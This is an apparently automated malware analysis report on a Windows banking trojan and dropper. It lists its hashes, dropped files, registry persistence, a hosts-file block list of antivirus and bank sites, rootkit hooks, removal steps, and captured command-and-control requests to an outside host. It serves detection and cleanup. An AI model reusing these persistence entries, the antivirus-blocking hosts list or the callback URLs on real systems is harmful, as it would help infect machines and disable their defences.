Susp_Dropper (Kaspersky), Trojan.Generic.5725040 (AdAware), Backdoor.Win32.PcClient.FD, GenericInjector.YR, Tdl4.YR, BankerGeneric.YR (Lavasoft MAS)Behaviour: Banker, Trojan, Backdoor
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 3a9d59d3c0513d9e09bdd7cd0913317a
SHA1: 1b72c8254f5d43809b713771d13a3e81a183a765
SHA256: 10418b2dde48dd8742a7b328f689c96eed1d3fa4f74f912798b0b68a5c2f512a
SSDeep: 6144:2bNQlFMXfzDoV6V2cqD0Wny6gqCUdzm6OjeR9igmlmEGipst9syFgPRQzPWSvOo0:YXXo uUqbU6OjeWgmlZGipS yFgPRq5A
Size: 378304 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2009-02-21 21:46:23
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
6tbp.exe:568
1EuroP.exe:252
rundll32.exe:1048
3E4U - Old.exe:312
7Rich.exe:600
2IC.exe:1376
%original file name%.exe:204
The Trojan injects its code into the following process(es):
rundll32.exe:1524
Explorer.EXE:884
svchost.exe:1144
spoolsv.exe:1468
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process 6tbp.exe:568 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%WinDir%\cushsgot.dll (110 bytes)
The process 1EuroP.exe:252 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\Scv..bat (168 bytes)
The process 7Rich.exe:600 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\All Users\Documents\b.dll (4 bytes)
%Documents and Settings%\All Users\Documents\dll (39 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\All Users\Documents\b.dll (0 bytes)
The process 2IC.exe:1376 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\4.tmp (601 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\5.tmp (0 bytes)
The process %original file name%.exe:204 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\1EuroP.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (7384 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\6tbp.exe (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\3E4U - Old.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\7Rich.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\2IC.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\ic1.exe (3 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\1EuroP.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\6tbp.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\3E4U - Old.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\7Rich.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\2IC.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\ic1.exe (0 bytes)
Registry activity
The process 6tbp.exe:568 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B0 8E 58 67 D2 C0 16 A6 02 C1 09 48 46 F7 05 58"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Wtube]
"Bveqayeweci" = "43 01 38 03 58 05 51 07 41 09 44 0B 48 0D 41 0F"
"Ydapup" = "35 01 34 03 46 05 30 07 38 09 3A 0B 35 0D 3B 0F"
The process 1EuroP.exe:252 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\]
"1806" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "14 6C ED C7 E5 56 D0 E2 4F 34 A5 F6 DA 1F AA F6"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The process rundll32.exe:1524 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "92 76 8D 90 D0 32 75 36 C5 17 06 D2 17 03 0C A8"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Wtube]
"Eqegaqojoqoka" = "183"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Ihoragiqinicim" = "rundll32.exe %WinDir%\cushsgot.dll,Startup"
The process rundll32.exe:1048 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DC 57 5B B7 21 5E 79 4E 1F 38 69 A5 35 C2 71 36"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Wtube]
"Bveqayeweci" = "43 01 38 03 58 05 51 07 41 09 44 0B 48 0D 41 0F"
The process 3E4U - Old.exe:312 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A4 18 39 E6 B1 78 47 F5 D8 77 8D 5E 41 90 E1 FD"
The process 7Rich.exe:600 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DD 70 51 61 9C F5 C1 5A 23 A1 00 77 95 97 BD 8F"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
The process 2IC.exe:1376 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0E 01 52 8A 36 AC 6B B5 48 44 AD C9 F3 BE D0 00"
[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\1EuroP.exe, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\2IC.exe, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\6tbp.exe, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\7Rich.exe, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\7.tmp,"
The process %original file name%.exe:204 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DF FB 1F 9E 79 85 0E EC 23 7E D5 43 2F 2E 30 06"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\1EuroP.exe,"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp]
"2IC.exe" = "Audi"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp]
"6tbp.exe" = "FrameDbl"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp]
"1EuroP.exe" = "5 AVG Alert Manager5"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp]
"7Rich.exe" = "Tkgnrstjt Ylcmjov Sxltfntut"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp]
"ic1.exe" = "Systray .exe stub"
"3E4U - Old.exe" = "Wireless Zero Configuration Service"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Dropped PE files
MD5 | File path |
---|---|
cc3ae7aff42766f0ee9be0529eb4c106 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\7.tmp |
a52cc7b2ff661297ea4bb9e8fb96e5a2 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsg3.tmp\6tbp.exe |
7c64d64803bdfff88c6557e491132925 | c:\WINDOWS\Temp\8.tmp |
12896823fb95bfb3dc9b46bcaedc9923 | c:\WINDOWS\Temp\explorer.dat |
ed0ef0a136dec83df69f04118870003e | c:\WINDOWS\Temp\winlogon.dat |
a02324105fa9a427c5c3bc68a1a10417 | c:\WINDOWS\cushsgot.dll |
eca0513e59deb25b7efebe418b635e56 | c:\WINDOWS\system32\b.dll |
HOSTS file anomalies
The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 5628 bytes in size. The following strings are added to the hosts file listed below:
127.0.0.1 | 82.165.237.14 |
127.0.0.1 | 82.165.250.33 |
127.0.0.1 | akamai.avg.com |
127.0.0.1 | antivir.es |
127.0.0.1 | anti-virus.by |
127.0.0.1 | avast.com |
127.0.0.1 | avg.com |
127.0.0.1 | avp.com |
127.0.0.1 | avp.ru |
127.0.0.1 | avp.ru/download/ |
127.0.0.1 | avpg.crsi.symantec.com |
127.0.0.1 | backup.avg.cz |
127.0.0.1 | bancoguayaquil.com |
127.0.0.1 | bcpzonasegura.viabcp.com |
127.0.0.1 | bitdefender.com |
127.0.0.1 | clamav.net |
127.0.0.1 | comodo.com |
127.0.0.1 | customer.symantec.com |
127.0.0.1 | dispatch.mcafee.com |
127.0.0.1 | download.mcafee.com |
127.0.0.1 | download.microsoft.com |
127.0.0.1 | downloads.microsoft.com |
127.0.0.1 | downloads1.kaspersky-labs.com |
127.0.0.1 | downloads1.kaspersky-labs.com/products/ |
127.0.0.1 | downloads1.kaspersky-labs.com/updates/ |
127.0.0.1 | downloads2.kaspersky-labs.com |
127.0.0.1 | downloads2.kaspersky-labs.com/products/ |
127.0.0.1 | downloads2.kaspersky-labs.com/updates/ |
127.0.0.1 | downloads3.kaspersky-labs.com |
127.0.0.1 | downloads3.kaspersky-labs.com/products/ |
127.0.0.1 | downloads3.kaspersky-labs.com/updates/ |
127.0.0.1 | downloads4.kaspersky-labs.com |
127.0.0.1 | downloads4.kaspersky-labs.com/products/ |
127.0.0.1 | downloads4.kaspersky-labs.com/updates/ |
127.0.0.1 | downloads5.kaspersky-labs.com |
127.0.0.1 | downloads5.kaspersky-labs.com/products/ |
127.0.0.1 | downloads5.kaspersky-labs.com/updates/ |
127.0.0.1 | drweb.com |
127.0.0.1 | emsisoft.com |
127.0.0.1 | eset.com |
127.0.0.1 | eset.com/ |
127.0.0.1 | eset.com/download/index.php |
127.0.0.1 | eset.com/joomla/ |
127.0.0.1 | eset.com/products/index.php |
127.0.0.1 | eset.es |
127.0.0.1 | fortinet.com |
127.0.0.1 | f-prot.com |
127.0.0.1 | f-secure.com |
127.0.0.1 | gdata.es |
127.0.0.1 | go.microsoft.com |
127.0.0.1 | hacksoft.com.pe |
127.0.0.1 | ikarus.at |
127.0.0.1 | kaspersky.com |
127.0.0.1 | kaspersky.ru |
127.0.0.1 | kaspersky-labs.com |
127.0.0.1 | liveupdate.symantec.com |
127.0.0.1 | liveupdate.symantecliveupdate.com |
127.0.0.1 | macafee.com |
127.0.0.1 | mast.mcafee.com |
127.0.0.1 | mcafee.com |
127.0.0.1 | microsoft.com |
127.0.0.1 | msdn.microsoft.com |
127.0.0.1 | my-etrust.com |
127.0.0.1 | networkassociates.com |
127.0.0.1 | nod32.com |
127.0.0.1 | norman.com |
127.0.0.1 | norton.com |
127.0.0.1 | nprotect.com |
127.0.0.1 | pandasecurity.com |
127.0.0.1 | pandasoftware.com |
127.0.0.1 | pctools.com |
127.0.0.1 | pif.symantec.com |
127.0.0.1 | pifmain.symantec.com |
127.0.0.1 | rads.mcafee.com |
127.0.0.1 | rising-global.com |
127.0.0.1 | scanner.novirusthanks.org |
127.0.0.1 | secure.nai.com |
127.0.0.1 | securityresponse.symantec.com |
127.0.0.1 | service1.symantec.com |
127.0.0.1 | sophos.com |
127.0.0.1 | sunbeltsoftware.com |
127.0.0.1 | support.microsoft.com |
127.0.0.1 | symantec.com |
127.0.0.1 | symantec.com/updates |
127.0.0.1 | threatexpert.com |
127.0.0.1 | trendmicro.com |
127.0.0.1 | u2.eset.com |
127.0.0.1 | u20.eset.com |
127.0.0.1 | u3.eset.com |
127.0.0.1 | u3.eset.com/ |
127.0.0.1 | u4.eset.com |
127.0.0.1 | u4.eset.com/ |
127.0.0.1 | u7.eset.com |
127.0.0.1 | update.avg.com |
127.0.0.1 | update.microsoft.com |
127.0.0.1 | update.symantec.com |
127.0.0.1 | updates.symantec.com |
127.0.0.1 | updates1.kaspersky-labs.com |
127.0.0.1 | updates2.kaspersky-labs.com |
127.0.0.1 | updates3.kaspersky-labs.com |
127.0.0.1 | us.mcafee.com |
127.0.0.1 | viabcp.com |
127.0.0.1 | virscan.org |
127.0.0.1 | virusbuster.hu |
127.0.0.1 | viruslist.com |
127.0.0.1 | viruslist.ru |
127.0.0.1 | virusscan.jotti.org |
127.0.0.1 | virustotal.com |
127.0.0.1 | windowsupdate.microsoft.com |
127.0.0.1 | www.ahnlab.com |
127.0.0.1 | www.aladdin.com |
127.0.0.1 | www.antivir.es |
127.0.0.1 | www.antiy.net |
127.0.0.1 | www.authentium.com |
127.0.0.1 | www.avast.com |
127.0.0.1 | www.avg.com |
127.0.0.1 | www.avp.com |
127.0.0.1 | www.avp.ru |
127.0.0.1 | www.avp.ru/download/ |
127.0.0.1 | www.bitdefender.com |
127.0.0.1 | www.clamav.net |
127.0.0.1 | www.comodo.com |
127.0.0.1 | www.download.mcafee.com |
127.0.0.1 | www.drweb.com |
127.0.0.1 | www.emsisoft.com |
127.0.0.1 | www.eset.com |
127.0.0.1 | www.eset.com/ |
127.0.0.1 | www.eset.com/download/index.php |
127.0.0.1 | www.eset.com/joomla/ |
127.0.0.1 | www.eset.com/products/index.php |
127.0.0.1 | www.fortinet.com |
127.0.0.1 | www.f-prot.com |
127.0.0.1 | www.f-secure.com |
127.0.0.1 | www.gdata.es |
127.0.0.1 | www.grisoft.com |
127.0.0.1 | www.ikarus.at |
127.0.0.1 | www.kaspersky.com |
127.0.0.1 | www.kaspersky.ru |
127.0.0.1 | www.kaspersky-labs.com |
127.0.0.1 | www.macafee.com |
127.0.0.1 | www.mcafee.com |
127.0.0.1 | www.microsoft.com |
127.0.0.1 | www.my-etrust.com |
127.0.0.1 | www.networkassociates.com |
127.0.0.1 | www.nod32.com |
127.0.0.1 | www.norman.com |
127.0.0.1 | www.norton.com |
127.0.0.1 | www.nprotect.com |
127.0.0.1 | www.pandasecurity.com |
127.0.0.1 | www.pandasoftware.com |
127.0.0.1 | www.pctools.com |
127.0.0.1 | www.rising-global.com |
127.0.0.1 | www.scanner.novirusthanks.org |
127.0.0.1 | www.sophos.com |
127.0.0.1 | www.sunbeltsoftware.com |
127.0.0.1 | www.symantec.com |
127.0.0.1 | www.symantec.com/updates |
127.0.0.1 | www.trendmicro.com |
127.0.0.1 | www.virscan.org |
127.0.0.1 | www.viruslist.com |
127.0.0.1 | www.viruslist.ru |
127.0.0.1 | www.virusscan.jotti.org |
127.0.0.1 | www.virustotal.com |
127.0.0.1 | www.windowsupdate.microsoft.com |
Rootkit activity
Using the driver "UNKNOWN" the Trojan controls loading executable images into a memory by installing the Load image notifier.
Using the driver ROOTKITPATH the Trojan intercepts DriverStartIO in a miniport driver of a hard drive controller (ATAPI) to handle request to its own files:
StartIo
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Scan a system with an anti-rootkit tool.
- Terminate malicious process(es) (How to End a Process With the Task Manager):
6tbp.exe:568
1EuroP.exe:252
rundll32.exe:1048
3E4U - Old.exe:312
7Rich.exe:600
2IC.exe:1376
%original file name%.exe:204 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%WinDir%\cushsgot.dll (110 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Scv..bat (168 bytes)
%Documents and Settings%\All Users\Documents\b.dll (4 bytes)
%Documents and Settings%\All Users\Documents\dll (39 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4.tmp (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\1EuroP.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (7384 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\6tbp.exe (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\3E4U - Old.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\7Rich.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\2IC.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\ic1.exe (3 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Ihoragiqinicim" = "rundll32.exe %WinDir%\cushsgot.dll,Startup" - Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
- Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 23458 | 23552 | 4.5133 | 2cec663f64ef38694dc96bb9f9cb766d |
.rdata | 28672 | 4496 | 4608 | 3.58909 | db16645055619c0cc73276ff5c3adb75 |
.data | 36864 | 3774424 | 1024 | 3.26654 | b9d0aa986d9e766521436f5ad38cd7c5 |
.ndata | 3813376 | 32768 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.rsrc | 3846144 | 1736 | 2048 | 2.01899 | 2f2678dd9e97ae3fdffce33f180dbf60 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Total found: 78
13ab683047580206713a0f19ebe0427e
09af02fa44c6bf227bb0d6e199a19499
6df0f423fb672c7925de87b12e214f89
6c77646a57ca346f85955675f504c751
52badfde88a0ee73f28b070519156057
35f27015c54bef542f360a7c2ba5c229
09044e8d1e7cb7f6883f983c17d17bcc
0503370605c61ff728ff008dc03a1825
709c892167fce654126edb577421be29
1dc8f3bb2a983d7137276a217b4d705b
0f339065053ebd425e75b23558963750
ca5d6a20d387eb2e49389f6a39636da9
8a2f117c3e780d2a0ee0aefc9602d738
14e473d02dd6b3107715a02a70cfc4ca
450999c36485a084aa7dd1b603da875b
a51b0e4d59528d3c37c089b3920aefe1
2f92f621850cf288ff8a61cc0a7e1034
0092c82b8f71c849b1799747344a0013
848bd0a9a22e7e72609328d19e9ac880
273bae01660db7dac324f798d2c8812b
e612517c3e59b53ffb829dab9699a8f7
5853e9ba1c8d75393dcef359471d5a9e
90eeaf37ac1ec866ddf48f1f56edf745
65b18506a33d72ec059fb281acf7f87e
485f7cc7b007342caccad569a8eb6b44
Network Activity
URLs
URL | IP |
---|---|
hxxp://bbfinity.com/pdzqq/ererijznnr.php?adv=adv466&id=-1465484763&c=-183204857 | 208.100.26.234 |
hxxp://bbfinity.com/pdzqq/xklypptgx.php?adv=adv466&id=-1465484763&c=-183204857 | 208.100.26.234 |
hxxp://bbfinity.com/pdzqq/zmmmdq.php?adv=adv466&id=-1465484763&c=-183204857 | 208.100.26.234 |
hxxp://bbfinity.com/pdzqq/sfsswwaoef.php?adv=adv466&id=-1465484763&c=-183204857 | 208.100.26.234 |
hxxp://bbfinity.com/pdzqq/oxybcg.php?adv=adv466&id=-1465484763&c=-183204857 | 208.100.26.234 |
hxxp://bbfinity.com/pdzqq/veivm.php?adv=adv466&id=-1465484763&c=-183204857 | 208.100.26.234 |
hxxp://bbfinity.com/pdzqq/cpdqhuu.php?adv=adv466&id=-1465484763&c=-183204857 | 208.100.26.234 |
hxxp://bbfinity.com/pdzqq/fsggtxx.php?adv=adv466&id=-1465484763&c=-183204857 | 208.100.26.234 |
hxxp://bbfinity.com/pdzqq/qanarmz.php?adv=adv466&id=-1465484763&c=-183204857 | 208.100.26.234 |
hxxp://bbfinity.com/pdzqq/ciivvmnd.php?adv=adv466&id=-1465484763&c=-183204857 | 208.100.26.234 |
hxxp://bbfinity.com/pdzqq/dreiizm.php?adv=adv466&id=-1465484763&c=-183204857 | 208.100.26.234 |
hxxp://bbfinity.com/pdzqq/nabfswwnn.php?adv=adv466&id=-1465484763&c=-183204857 | 208.100.26.234 |
hxxp://bbfinity.com/pdzqq/xlycctxmj.php?adv=adv466&code1=HNIL&code2=0191&id=-1465484763&p=0&b=1&c=-183204857 | 208.100.26.234 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /pdzqq/ererijznnr.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:29 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:29 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and
<<< skipped >>>
GET /pdzqq/xklypptgx.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70
Host: bbfinity.com
HTTP/1.1 404 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 05 Sep 2016 19:19:31 GMT
Content-Type: text/html
Content-Length: 579
Connection: keep-alive
